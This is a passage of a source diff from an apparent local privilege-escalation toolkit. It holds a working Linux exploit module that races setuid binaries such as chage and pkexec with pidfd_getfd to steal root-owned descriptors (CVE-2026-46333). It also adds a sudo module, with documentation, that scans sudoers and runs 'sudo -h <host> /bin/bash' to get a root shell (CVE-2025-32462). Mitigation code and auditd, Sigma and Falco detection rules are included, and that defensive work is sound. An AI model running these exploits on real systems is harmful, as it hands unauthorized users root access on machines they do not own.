static int sk_pidfd_getfd(int pidfd, int targetfd, unsigned int flags)
|
||||
{
|
||||
return (int)syscall(SYS_pidfd_getfd, pidfd, targetfd, flags);
|
||||
}
|
||||
|
||||
/* Debian-tracked stable backports of the 2026-05-14 fix. These are the
|
||||
* authoritative thresholds (security-tracker.debian.org); branches
|
||||
* Debian doesn't ship (5.15 / 6.6 / 6.18 / 6.19) fall through to the
|
||||
* version-only verdict below — confirm those empirically. */
|
||||
static const struct kernel_patched_from ptrace_pidfd_patched_branches[] = {
|
||||
{5, 10, 251}, /* 5.10-LTS backport (Debian bullseye) */
|
||||
{6, 1, 172}, /* 6.1-LTS backport (Debian bookworm) */
|
||||
{6, 12, 88}, /* 6.12-LTS backport (Debian trixie) */
|
||||
{7, 0, 7}, /* 7.0 stable (Debian forky / sid) */
|
||||
};
|
||||
|
||||
static const struct kernel_range ptrace_pidfd_range = {
|
||||
.patched_from = ptrace_pidfd_patched_branches,
|
||||
.n_patched_from = sizeof(ptrace_pidfd_patched_branches) /
|
||||
sizeof(ptrace_pidfd_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Consult the shared host fingerprint instead of re-reading uname —
|
||||
* populated once at startup, identical across every module. */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] ptrace_pidfd: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The bundled technique drives the bug through pidfd_getfd(2), which
|
||||
* was added in 5.6. Kernels older than that lack the vector (the
|
||||
* underlying __ptrace_may_access flaw is older, but this module does
|
||||
* not carry a pre-pidfd path). */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] ptrace_pidfd: kernel %s predates the pidfd_getfd "
|
||||
"vector (added 5.6) — bundled technique N/A\n",
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&ptrace_pidfd_range, v)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_pidfd: kernel %s is patched "
|
||||
"(version-only check)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ptrace_pidfd: kernel %s appears VULNERABLE "
|
||||
"(version-only check)\n", v->release);
|
||||
fprintf(stderr, "[i] ptrace_pidfd: no exotic preconditions — needs only a "
|
||||
"local user + a setuid/transiently-privileged victim "
|
||||
"(no user_ns)\n");
|
||||
fprintf(stderr, "[i] ptrace_pidfd: branches Debian doesn't track "
|
||||
"(5.15/6.6/6.18/6.19) are version-only here; confirm with "
|
||||
"`--exploit ptrace_pidfd --i-know` which fires the real "
|
||||
"pidfd_getfd primitive\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* Candidate victims: setuid-root binaries (or setgid-shadow) that open
|
||||
* sensitive descriptors while privileged before settling. Qualys's PoCs
|
||||
* targeted chage / ssh-keysign / pkexec / accounts-daemon; we probe for
|
||||
* whichever exist with the setuid bit actually set. */
|
||||
static const char *find_setuid_victim(void)
|
||||
{
|
||||
static const char *targets[] = {
|
||||
"/usr/bin/chage", "/usr/bin/pkexec", "/usr/lib/openssh/ssh-keysign",
|
||||
"/usr/libexec/openssh/ssh-keysign", "/usr/bin/passwd",
|
||||
"/usr/bin/su", "/bin/su", NULL,
|
||||
};
|
||||
for (size_t i = 0; targets[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(targets[i], &st) == 0 && (st.st_mode & (S_ISUID | S_ISGID)))
|
||||
return targets[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Benign, read-only invocation per victim so the spawned setuid process
|
||||
* does something harmless while we race its descriptor table. */
|
||||
static void exec_victim_benign(const char *victim, const char *self_user)
|
||||
{
|
||||
char *envp[] = {
|
||||
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
NULL
|
||||
};
|
||||
if (strstr(victim, "chage")) {
|
||||
char *argv[] = { (char *)victim, "-l", (char *)self_user, NULL };
|
||||
execve(victim, argv, envp);
|
||||
} else if (strstr(victim, "pkexec")) {
|
||||
char *argv[] = { (char *)victim, "--version", NULL };
|
||||
execve(victim, argv, envp);
|
||||
} else {
|
||||
/* ssh-keysign / passwd / su: --help or --version exits fast and
|
||||
* touches no state. */
|
||||
char *argv[] = { (char *)victim, "--help", NULL };
|
||||
execve(victim, argv, envp);
|
||||
}
|
||||
_exit(127); /* execve failed */
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = ptrace_pidfd_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] ptrace_pidfd: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
const char *victim = find_setuid_victim();
|
||||
if (!victim) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: no setuid victim binary present "
|
||||
"(looked for chage/pkexec/ssh-keysign/passwd/su)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
const char *self_user = pw ? pw->pw_name : "root";
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ptrace_pidfd: victim = %s\n", victim);
|
||||
|
||||
/* Spawn the victim. The parent (us, unprivileged) pidfd_open()s the
|
||||
* child and sweeps pidfd_getfd() across its descriptor table while it
|
||||
* transitions through its privileged window. On a PATCHED kernel
|
||||
* __ptrace_may_access denies us (EPERM) once the child is root +
|
||||
* non-dumpable; on a VULNERABLE kernel the stale window lets the
|
||||
* steal land. A captured fd whose owner is uid 0 while we are not is
|
||||
* the empirical witness that the bug fired. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* Small delay so the parent has the pidfd open before we exec
|
||||
* into (and briefly become) the privileged image. */
|
||||
usleep(20 * 1000);
|
||||
exec_victim_benign(victim, self_user);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
int pidfd = sk_pidfd_open(child, 0);
|
||||
if (pidfd < 0) {
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: pidfd_open ENOSYS — kernel lacks "
|
||||
"the vector despite version check\n");
|
||||
int s; waitpid(child, &s, 0);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
perror("pidfd_open");
|
||||
int s; waitpid(child, &s, 0);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Tight steal loop across the victim's likely descriptor range during
|
||||
* its privileged window. We do not destroy anything: captured fds are
|
||||
* fstat()'d to fingerprint ownership, then closed. */
|
||||
int root_fds = 0, captured = 0;
|
||||
bool enosys = false;
|
||||
for (int round = 0; round < 200; round++) {
|
||||
for (int tfd = 0; tfd < 32; tfd++) {
|
||||
int got = sk_pidfd_getfd(pidfd, tfd, 0);
|
||||
if (got < 0) {
|
||||
if (errno == ENOSYS) { enosys = true; break; }
|
||||
continue; /* EPERM (patched / outside window) or EBADF */
|
||||
}
|
||||
captured++;
|
||||
struct stat st;
|
||||
if (fstat(got, &st) == 0 && st.st_uid == 0 && geteuid() != 0) {
|
||||
root_fds++;
|
||||
if (!ctx->json) {
|
||||
char lpath[64], target[256] = {0};
|
||||
snprintf(lpath, sizeof lpath, "/proc/self/fd/%d", got);
|
||||
ssize_t n = readlink(lpath, target, sizeof target - 1);
|
||||
if (n > 0) target[n] = 0;
|
||||
fprintf(stderr, "[+] ptrace_pidfd: WITNESS — captured root-owned "
|
||||
"fd from victim (uid0 %s mode %o)%s%s\n",
|
||||
(st.st_mode & S_IFMT) == S_IFREG ? "file" :
|
||||
(st.st_mode & S_IFMT) == S_IFSOCK ? "socket" : "fd",
|
||||
(unsigned)(st.st_mode & 07777),
|
||||
n > 0 ? " -> " : "", n > 0 ? target : "");
|
||||
}
|
||||
}
|
||||
close(got);
|
||||
}
|
||||
if (enosys) break;
|
||||
}
|
||||
|
||||
close(pidfd);
|
||||
int status; waitpid(child, &status, 0);
|
||||
|
||||
if (enosys) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: pidfd_getfd ENOSYS — vector unavailable\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (root_fds > 0) {
|
||||
/* The bug demonstrably fired: we, as a non-root user, pulled a
|
||||
* uid-0-owned descriptor out of the victim past the dumpable
|
||||
* boundary. We deliberately STOP here rather than fabricate a
|
||||
* root shell — turning a captured fd into root is target-specific
|
||||
* (which fd, writable vs. authenticated channel) and is not
|
||||
* bundled until VM-verified. Honest EXPLOIT_FAIL with the witness. */
|
||||
fprintf(stderr, "[!] ptrace_pidfd: primitive CONFIRMED — %d root-owned fd(s) "
|
||||
"captured from a non-root context (CVE-2026-46333 reachable).\n"
|
||||
"[i] ptrace_pidfd: full root-pop is target-specific and not yet "
|
||||
"VM-verified; not fabricating a shell. See module NOTICE.md.\n",
|
||||
root_fds);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_pidfd: no root-owned fd captured across %d captures "
|
||||
"— primitive blocked (kernel likely patched, or the victim "
|
||||
"exposed no privileged fd in its window)\n", captured);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Mitigation: Yama ptrace_scope gates __ptrace_may_access(ATTACH), which
|
||||
* is the very check pidfd_getfd() rides — setting it to 2 (admin-only)
|
||||
* or 3 (no attach) closes the bundled vector without a reboot. Needs
|
||||
* root to write the sysctl; best-effort + honest report otherwise. The
|
||||
* real fix is the kernel patch. */
|
||||
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) {
|
||||
if (errno == ENOENT) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: Yama LSM not present (%s missing); "
|
||||
"no runtime mitigation — upgrade the kernel\n", path);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[-] ptrace_pidfd: cannot open %s: %s "
|
||||
"(need root: `sudo sysctl kernel.yama.ptrace_scope=2`)\n",
|
||||
path, strerror(errno));
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
ssize_t w = write(fd, "2\n", 2);
|
||||
close(fd);
|
||||
if (w != 2) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: write to %s failed: %s\n",
|
||||
path, strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[+] ptrace_pidfd: set kernel.yama.ptrace_scope=2 (admin-only "
|
||||
"ptrace/pidfd_getfd attach). Revert with `--cleanup ptrace_pidfd`. "
|
||||
"This is a stopgap; patch the kernel.\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Undo --mitigate: restore the permissive default (1 = restricted
|
||||
* ptrace, the common distro default). Exploit itself leaves no file
|
||||
* artifacts (the steal is in-memory), so there is nothing else to
|
||||
* undo. */
|
||||
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) return SKELETONKEY_OK; /* nothing to restore */
|
||||
ssize_t w = write(fd, "1\n", 2);
|
||||
close(fd);
|
||||
if (!ctx->json && w == 2)
|
||||
fprintf(stderr, "[*] ptrace_pidfd: restored kernel.yama.ptrace_scope=1\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: pidfd_open / pidfd_getfd / Yama ptrace_scope are
|
||||
* Linux-only ABI. Stub out so the module still registers and the
|
||||
* top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ptrace_pidfd: Linux-only module "
|
||||
"(pidfd_getfd cred-steal) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_pidfd: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained. The
|
||||
* behavioural signal is pidfd_getfd(2) issued by a non-root process
|
||||
* against a setuid/privileged target. Legitimate users of pidfd_getfd
|
||||
* are rare and mostly root (container runtimes, debuggers) — a non-root
|
||||
* pidfd_getfd is a strong indicator. */
|
||||
static const char ptrace_pidfd_auditd[] =
|
||||
"# CVE-2026-46333 (ptrace/pidfd_getfd cred-steal) — auditd rules\n"
|
||||
"# pidfd_getfd by a non-root process is rare and high-signal. Also\n"
|
||||
"# watch the credential files a successful steal would target.\n"
|
||||
"-a always,exit -F arch=b64 -S pidfd_getfd -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||
"-a always,exit -F arch=b64 -S pidfd_open -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-ptrace-pidfd\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-ptrace-pidfd\n";
|
||||
|
||||
static const char ptrace_pidfd_sigma[] =
|
||||
"title: Possible CVE-2026-46333 pidfd_getfd credential-steal LPE\n"
|
||||
"id: 4d6f3e2a-skeletonkey-ptrace-pidfd\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects pidfd_getfd(2) issued by a non-root user. The CVE-2026-46333\n"
|
||||
" technique pidfd_open()s a transiently-privileged setuid process and\n"
|
||||
" pidfd_getfd()s descriptors it opened while root, past the dumpable\n"
|
||||
" boundary __ptrace_may_access should have enforced. False positives:\n"
|
||||
" privileged container runtimes / debuggers that legitimately use pidfd.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" getfd: {type: 'SYSCALL', syscall: 'pidfd_getfd'}\n"
|
||||
" non_root: {auid|expression: '>= 1000'}\n"
|
||||
" condition: getfd and non_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46333]\n";
|
||||
|
||||
static const char ptrace_pidfd_falco[] =
|
||||
"- rule: pidfd_getfd from setuid victim by non-root (CVE-2026-46333)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process calls pidfd_getfd() to pull a descriptor out of\n"
|
||||
" another process. The CVE-2026-46333 cred-steal races a setuid\n"
|
||||
" binary (chage, ssh-keysign, pkexec) or root daemon (accounts-daemon)\n"
|
||||
" as it drops privileges, stealing a root-opened fd or authenticated\n"
|
||||
" channel past the dumpable boundary. False positives: container\n"
|
||||
" runtimes / debuggers using pidfd as root.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = pidfd_getfd and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" pidfd_getfd by non-root (possible CVE-2026-46333 fd-steal)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46333]\n";
|
||||
|
||||
const struct skeletonkey_module ptrace_pidfd_module = {
|
||||
.name = "ptrace_pidfd",
|
||||
.cve = "CVE-2026-46333",
|
||||
.summary = "__ptrace_may_access dumpable race → pidfd_getfd steals root fds from a dropping-privilege process",
|
||||
.family = "ptrace_pidfd",
|
||||
.kernel_range = "5.6 <= K (pidfd_getfd vector); fixed 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7 (Debian backports of the 2026-05-14 mainline fix)",
|
||||
.detect = ptrace_pidfd_detect,
|
||||
.exploit = ptrace_pidfd_exploit,
|
||||
.mitigate = ptrace_pidfd_mitigate,
|
||||
.cleanup = ptrace_pidfd_cleanup,
|
||||
.detect_auditd = ptrace_pidfd_auditd,
|
||||
.detect_sigma = ptrace_pidfd_sigma,
|
||||
.detect_yara = NULL, /* behavioural (syscall) bug — no file artifact to match */
|
||||
.detect_falco = ptrace_pidfd_falco,
|
||||
.opsec_notes = "Spawns a setuid victim (chage/pkexec/ssh-keysign/passwd/su) with a benign read-only argv, pidfd_open()s it, and sweeps pidfd_getfd() across its low descriptor table during the credential-drop window. Captured descriptors are fstat()'d to fingerprint ownership and closed (non-destructive); a uid-0-owned fd captured from a non-root context is the empirical witness that __ptrace_may_access let the steal through. Audit-visible via pidfd_getfd(2)/pidfd_open(2) issued by a non-root auid, typically clustered (tight retry loop) and immediately preceded by execve of a setuid binary. No file artifacts and no persistence — the steal is in-memory fd reuse. --mitigate writes kernel.yama.ptrace_scope=2; --cleanup restores it to 1. Arch-agnostic (no shellcode).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ptrace_pidfd(void)
|
||||
{
|
||||
skeletonkey_register(&ptrace_pidfd_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||
#define PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module ptrace_pidfd_module;
|
||||
|
||||
#endif
|
||||
@@ -53,7 +53,7 @@ static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
|
||||
{4, 4, 182},
|
||||
{4, 9, 182},
|
||||
{4, 14, 131},
|
||||
{4, 19, 58},
|
||||
{4, 19, 37}, /* Debian tracker: earlier than 4.19.58 */
|
||||
{5, 0, 20},
|
||||
{5, 1, 17},
|
||||
{5, 2, 0}, /* mainline (5.2-rc) */
|
||||
|
||||
@@ -127,7 +127,7 @@
|
||||
|
||||
static const struct kernel_patched_from sequoia_patched_branches[] = {
|
||||
{5, 4, 134},
|
||||
{5, 10, 52},
|
||||
{5, 10, 46}, /* Debian tracker: earlier than 5.10.52 */
|
||||
{5, 13, 4},
|
||||
{5, 14, 0}, /* mainline */
|
||||
};
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
# sudo_host — CVE-2025-32462
|
||||
|
||||
sudo `-h`/`--host` option honored beyond `-l` → abuse a host-restricted
|
||||
sudoers rule for local root.
|
||||
|
||||
## The bug
|
||||
|
||||
`sudo -h <host>` (a.k.a. `--host`) exists so that, combined with `-l`,
|
||||
you can list your sudo privileges *as they would apply on another host*.
|
||||
The flaw: sudo also consulted the `-h` value when **running a command**
|
||||
(and in `sudoedit`), so the host portion of a sudoers rule — normally
|
||||
fixed to the machine you're on — becomes attacker-chosen.
|
||||
|
||||
If your sudoers contains a rule like:
|
||||
|
||||
```
|
||||
alice webhost01 = (root) /usr/bin/systemctl
|
||||
```
|
||||
|
||||
then on a *different* machine `alice` normally can't use it. With the
|
||||
bug, `sudo -h webhost01 /usr/bin/systemctl ...` runs as root on the
|
||||
local box. With a broader rule (`webhost01 = (ALL) ALL`), `sudo -h
|
||||
webhost01 /bin/bash` is a root shell.
|
||||
|
||||
This matters most where one sudoers file (or LDAP/SSSD sudoers) is shared
|
||||
across a fleet and rules are scoped per host.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Affected | sudo 1.8.8 → 1.9.17p0 (~12-year-old behaviour) |
|
||||
| Fixed | sudo 1.9.17p1 |
|
||||
| Weakness | CWE-863 (Incorrect Authorization) |
|
||||
| Severity | CVSS 8.8 (High); not in CISA KEV |
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` reads the sudo version (shared host fingerprint, else a live
|
||||
`sudo --version`) and returns VULNERABLE inside `[1.8.8, 1.9.17p0]`,
|
||||
OK otherwise. The exploitable precondition — a host-restricted sudoers
|
||||
rule — is not reliably probeable from an unprivileged context, so the
|
||||
empirical confirmation lives in the exploit path.
|
||||
|
||||
`exploit()`:
|
||||
1. Resolves the host token to abuse: `SKELETONKEY_SUDO_HOST` env var, or
|
||||
a best-effort scan of readable `/etc/sudoers` + `/etc/sudoers.d/*` for
|
||||
a user-spec whose host is neither the current hostname nor `ALL`.
|
||||
2. Witnesses with `sudo -n -h <host> id -u` (non-interactive).
|
||||
3. On a uid-0 witness, execs `sudo -h <host> /bin/bash`
|
||||
(override the command with `SKELETONKEY_SUDO_CMD`).
|
||||
|
||||
Returns `EXPLOIT_FAIL` with operator guidance when no abusable rule is
|
||||
discoverable — it never fabricates root.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade sudo to 1.9.17p1 or later. There is no safe runtime toggle for
|
||||
the `-h` behaviour short of the patch.
|
||||
|
||||
## Credit
|
||||
|
||||
Rich Mirch — Stratascale CRU (2025-06-30). See `NOTICE.md`.
|
||||
@@ -0,0 +1,49 @@
|
||||
# NOTICE — sudo_host (CVE-2025-32462)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2025-32462** — sudo's `-h`/`--host` option, intended only to be
|
||||
used with `-l`/`--list` to display a user's privileges on a *different*
|
||||
host, was also honored when actually running a command (or via
|
||||
`sudoedit`). This lets a user evaluate the sudoers policy as though the
|
||||
machine were some other host: a sudoers rule scoped to a host that is
|
||||
neither the current machine nor `ALL` becomes usable locally via
|
||||
`sudo -h <that-host> <command>`, yielding command execution as root.
|
||||
|
||||
Primarily affects sites that distribute one sudoers file across a fleet,
|
||||
or use LDAP/SSSD-based sudoers, where host-restricted rules are common.
|
||||
|
||||
- Affected: sudo **1.8.8** through **1.9.17p0** (the `-h` behaviour is
|
||||
~12 years old). Fixed in **1.9.17p1**.
|
||||
- CWE-863 (Incorrect Authorization). CVSS 8.8 (High). Not in CISA KEV
|
||||
(the sibling `--chroot` bug CVE-2025-32463 is).
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Rich Mirch — Stratascale Cyber Research
|
||||
Unit (CRU)**, published 2025-06-30 alongside CVE-2025-32463.
|
||||
|
||||
- sudo.ws advisory: <https://www.sudo.ws/security/advisories/host_any/>
|
||||
- Stratascale writeup:
|
||||
<https://www.stratascale.com/resource/cve-2025-32462-sudo-host-option-vulnerability/>
|
||||
- Fixed in sudo 1.9.17p1 (Todd C. Miller, upstream maintainer).
|
||||
|
||||
All research credit belongs to Rich Mirch / Stratascale and the sudo
|
||||
maintainers. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟢 **Structural escape (config-gated).** No offsets, no leak, no race.
|
||||
`detect()` gates on the sudo version (the host-restricted rule lives in a
|
||||
sudoers source the user usually cannot read — that opacity is the bug),
|
||||
so a VULNERABLE verdict means "vulnerable sudo present; an abusable rule
|
||||
may exist". `exploit()` best-effort reads `/etc/sudoers` +
|
||||
`/etc/sudoers.d/*` for a user-spec whose host field is neither the
|
||||
current hostname nor `ALL` (or takes the host from
|
||||
`SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and
|
||||
pops `sudo -h <host> /bin/bash` (override via `SKELETONKEY_SUDO_CMD`)
|
||||
only on a confirmed uid-0 witness — never claims root it did not get.
|
||||
|
||||
Mitigation: upgrade sudo to 1.9.17p1+. Architecture-agnostic
|
||||
(pure userspace). Joins the shared `sudo` family alongside
|
||||
`sudo_chwoot`, `sudo_samedit`, `sudo_runas_neg1`, and `sudoedit_editor`.
|
||||
@@ -0,0 +1,441 @@
|
||||
/*
|
||||
* sudo_host_cve_2025_32462 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL (config-gated). No offsets, no leak, no race.
|
||||
* Pure authorization-logic flaw: sudo's `-h`/`--host` option — meant
|
||||
* only to pair with `-l`/`--list` to show your privileges on ANOTHER
|
||||
* host — was honored when actually *running* a command (or sudoedit).
|
||||
* That makes the host field of a sudoers rule attacker-chosen: a rule
|
||||
* scoped to some host other than the current machine becomes usable
|
||||
* here via `sudo -h <that-host> <command>`.
|
||||
*
|
||||
* The bug (Rich Mirch, Stratascale CRU, disclosed 2025-06-30 alongside
|
||||
* the sibling --chroot bug CVE-2025-32463):
|
||||
* `sudo -h <host> <command>` evaluates the sudoers policy as though
|
||||
* the machine were <host>. A user listed in sudoers for a different
|
||||
* host (common with a fleet-wide sudoers file, or LDAP/SSSD sudoers)
|
||||
* can therefore run that host's commands as root on the local box.
|
||||
*
|
||||
* sudo.ws advisory: https://www.sudo.ws/security/advisories/host_any/
|
||||
*
|
||||
* Affects: sudo 1.8.8 ≤ V ≤ 1.9.17p0 (the `-h` option behaviour is
|
||||
* ~12 years old). Fixed in 1.9.17p1, which stops honoring `-h` outside
|
||||
* `-l`. CWE-863 (Incorrect Authorization). CVSS 8.8 (High). NOT in
|
||||
* CISA KEV (the sibling 32463 is).
|
||||
*
|
||||
* Precondition for exploitation (NOT for detection): the invoking user
|
||||
* must already be listed in sudoers for a host that is neither the
|
||||
* current hostname nor ALL. detect() can only gate on the sudo
|
||||
* version (the host-restricted rule lives in a sudoers source the user
|
||||
* usually cannot read — that opacity is the whole point of the bug),
|
||||
* so a VULNERABLE verdict here means "vulnerable sudo present; an
|
||||
* abusable host-restricted rule MAY exist". exploit() then tries to
|
||||
* find/fire one (or takes the host+command from env vars).
|
||||
*
|
||||
* arch_support: any. Pure userspace; no shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <pwd.h>
|
||||
#include <grp.h>
|
||||
#endif
|
||||
|
||||
/* ---- sudo family helpers (mirror the sibling sudo_* modules) -------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* True iff the version is in the vulnerable range [1.8.8, 1.9.17p0].
|
||||
* Fixed in 1.9.17p1. Versions below 1.8.8 predate the `-h` behaviour. */
|
||||
static bool sudo_version_vulnerable_host(const char *v)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0;
|
||||
int psub = 0;
|
||||
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → assume worst */
|
||||
if (maj != 1) return false;
|
||||
if (min < 8) return false; /* 1.7.x and below predate */
|
||||
if (min == 8) return patch >= 8; /* 1.8.8 .. 1.8.x */
|
||||
if (min > 9) return false; /* 1.10+ (hypothetical) fixed */
|
||||
